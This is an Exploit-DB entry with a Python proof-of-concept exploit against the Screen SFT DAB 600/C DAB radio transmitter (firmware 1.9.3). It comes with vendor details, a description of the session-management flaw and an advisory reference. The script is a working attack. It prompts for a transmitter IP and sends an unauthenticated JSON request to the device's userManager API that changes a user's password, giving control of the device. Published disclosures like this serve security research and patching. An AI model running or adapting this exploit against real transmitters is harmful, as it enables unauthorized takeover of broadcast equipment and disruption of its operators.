Exploit-DB #51456
Description: Screen SFT DAB 600/C - Authentication Bypass Password Change
Type: remote
Platform: hardware
Date: 2023-05-23
Author: LiquidWorm

Exploit:
#!/usr/bin/env python3
#
# Exploit Title: Screen SFT DAB 600/C - Authentication Bypass Password Change
# Exploit Author: LiquidWorm
#
#
# Vendor: DB Elettronica Telecomunicazioni SpA
# Product web page: https://www.screen.it | https://www.dbbroadcast.com
#                   https://www.dbbroadcast.com/products/radio/sft-dab-series-compact-air/
# Affected version: Firmware: 1.9.3
#                   Bios firmware: 7.1 (Apr 19 2021)
#                   Gui: 2.46
#                   FPGA: 169.55
#                   uc: 6.15
#
# Summary: Screen's new radio DAB Transmitter is reaching the highest
# technology level in both Digital Signal Processing and RF domain.
# SFT DAB Series - Compact Radio DAB Transmitter - Air. Thanks to the
# digital adaptive precorrection and configuatio flexibility, the Hot
# Swap System technology, the compactness and the smart system design,
# the SFT DAB are advanced transmitters. They support standards DAB,
# DAB+ and T-DMB and are compatible with major headend brands.
#
# Desc: The application suffers from a weak session management that can
# allow an attacker on the same network to bypass these controls by reusing
# the same IP address assigned to the victim user (NAT) and exploit crucial
# operations on the device itself. By abusing the IP address property that
# is binded to the Session ID, one needs to await for such an established
# session and issue unauthorized requests to the vulnerable API to manage
# and/or manipulate the affected transmitter.
#
# Tested on: Keil-EWEB/2.1
#            MontaVista® Linux® Carrier Grade eXpress (CGX)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2023-5772
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5772.php
#
#
# 19.03.2023
#

import hashlib,datetime##########
import requests,colorama#########
from colorama import Fore, Style#
colorama.init()
print(Fore.RED+Style.BRIGHT+
    '''
██████  ███████ ███    ███ ██ ███    ██ ██████  ███████ ██████  
██   ██ ██      ████  ████ ██ ████   ██ ██   ██ ██      ██   ██ 
██████  █████   ██ ████ ██ ██ ██ ██  ██ ██   ██ █████   ██████  
██   ██ ██      ██  ██  ██ ██ ██  ██ ██ ██   ██ ██      ██   ██ 
██   ██ ███████ ██      ██ ██ ██   ████ ██████  ███████ ██   ██ 
    '''
    +Style.RESET_ALL)
print(Fore.WHITE+Style.BRIGHT+
    '''
            ZSL and the Producers insist that no one
           submit any exploits of themselfs or others
              performing any dangerous activities.
                 We will not open or view them.
    '''
    +Style.RESET_ALL)
s=datetime.datetime.now()
s=s.strftime('%d.%m.%Y %H:%M:%S')
print('Starting API XPL -',s)
t=input('Enter transmitter ip: ')
u=input('Enter desired username: ')
p=input('Enter desired password: ')
e='/system/api/userManager.cgx'
m5=hashlib.md5()
m5.update(p.encode('utf-8'))
h=m5.hexdigest()
print('Your sig:',h)
print('Calling object: ssbtObj')
print('CGX fastcall: userManager::changeUserPswd')
t='http://'+t+e
bh={'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
    'Accept':'application/json, text/plain, */*',
    'Accept-Language':'ku-MK,en;q=0.9',
    'Accept-Encoding':'gzip, deflate',
    'User-Agent':'Dabber+',
    'Connection':'close'}
j={'ssbtIdx':0,
   'ssbtType':'userManager',
   'ssbtObj':{
             'changeUserPswd':{
                              'username':u,
                              'password':h
                              }
             },
   }
r=requests.post(t,headers=bh,json=j)
if r.status_code==200:
    print('Done.')
else:
    print('Error')
exit(-4)